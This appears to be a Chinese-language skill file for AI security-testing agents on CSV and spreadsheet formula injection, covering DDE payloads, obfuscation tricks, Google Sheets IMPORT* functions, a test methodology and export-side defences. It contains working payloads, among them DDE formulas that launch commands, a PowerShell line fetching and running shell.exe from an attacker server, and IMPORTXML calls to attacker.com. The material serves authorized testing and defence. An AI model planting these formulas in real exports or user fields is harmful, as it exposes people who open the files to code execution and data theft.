CSV / 試算表公式注入(DDE、Excel / LibreOffice、Google 試算表 IMPORT* 函數)。當系統的匯出、匯入或使用者欄位資料會提供給試算表或報表工具時使用。
SKILL:CSV 公式注入
AI 載入指示:本 Skill 涵蓋 CSV 與試算表情境下的公式/DDE 注入、混淆技巧、雲端試算表原生原語(primitives)以及安全測試方法論。請僅在獲得明確授權的前提下使用;會呼叫本機指令或遠端抓取的 Payload 具有高影響力——建議優先使用實驗室目標並留存授權紀錄。若專案規則未明確允許用戶端執行測試,切勿針對一般端點使用者進行測試。
0. 快速入門
當儲存格在 Excel、LibreOffice Calc 或類似軟體中開啟時,可能觸發公式評估的字元如下(通常僅在該儲存格被解析為公式時生效):
=
+
-
@
測試用的儲存格範例如下:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
路由說明:在測試 CSV 匯出、後台報表或會在試算表中開啟的使用者資料時,請優先測試這些前綴字元。
1. DDE 注入(EXCEL / LIBREOFFICE)
動態資料交換(Dynamic Data Exchange, DDE)與外部呼叫模式在歷史上常被用於試算表攻擊。以下範例僅供在受控實驗室環境中進行重現:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShell 串接樣式(僅限實驗室使用;請將主機與 Payload 替換為無害的等效內容):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. 混淆技巧
防禦性解析器可能會過濾明顯的模式;測試人員可嘗試加入雜訊與空格(仍僅限於獲得授權的情境):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
在 = 後加入額外空格:
= cmd|'/c calc.exe'!A
分散字元 / 異常間距(概念性模式——請依解析器行為進行調整):
= C m D |'/c calc.exe'!A
rundll32 樣式:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE 試算表
若匯出的資料後續在 Google 試算表(Google Sheets)中開啟,或試算表從不可信的 CSV 擷取資料,下列函數可能會導致外連請求或跨文件資料擷取:
資料外洩 / 探測(請將 URL 替換為您獲授權的 Callback 位址):
=IMPORTXML("http://attacker.com/", "//a/@href")
其他高風險的匯入函數:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
請記錄觸發執行的函數以及產生的網路副作用。
4. 測試方法論
- 梳理接收點(Sinks)——任何會輸出 CSV、XLSX 或 Tab 分隔值 的功能:管理員匯出、稽核紀錄、使用者名冊、帳款報表、搜尋結果等。
- 追蹤使用者可控欄位——個人資料欄位、工單標題、交易備註、標籤、ZIP 匯出檔中的檔名——任何會回顯儲存型輸入的欄位。
- 注入公式前綴——先從無害的算術運算(
=1+1、+1+1)開始以偵測是否會執行評估;僅在符合專案規則時才升級攻擊測試。 - 在目標軟體中開啟——比對受害者工作流程:Excel 桌面版、LibreOffice、Google 試算表匯入,以及特定語系的小數點分隔符設定。
- 留存證據——截圖或擷取儲存格是否顯示計算結果、安全警告或 DDE 提示畫面;並註記產品版本。
注意:重點放在 使用者輸入 -> 匯出資料 -> 在試算表軟體中開啟 這條鏈結上。
5. 防禦措施
應用程式層與匯出層的緩解措施:
- 加上單引號前綴——在許多試算表應用程式中,開頭的
'會強制解析為純文字:'=cmd|...會以字面文字顯示。 - 加上 Tab 前綴——某些處理管道在正確讀入資料時,會將以 Tab 開頭的欄位視為非公式的純文字。
- 過濾或中和開頭的觸發字元——在匯出時移除或轉義開頭的
=,+,-,@(以及外觀相似的 Unicode 字元)。 - CSV 編碼與格式化——使用一致的引號包覆;驗證欄位型別;避免在未經淨化的情況下將原始公式字串傳入財務或報表範本中。
- 使用者安全意識培訓——在缺乏安全策略的情況下,切勿隨意啟用外部資料擷取或 DDE。
安全匯出轉換範例(概念性):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
注意:在關聯業務匯出、報表與 API 匯出參數時,請結合注入(injection)、業務邏輯(business-logic)及 API 安全(API-security)相關 Skill 進行綜合評估。






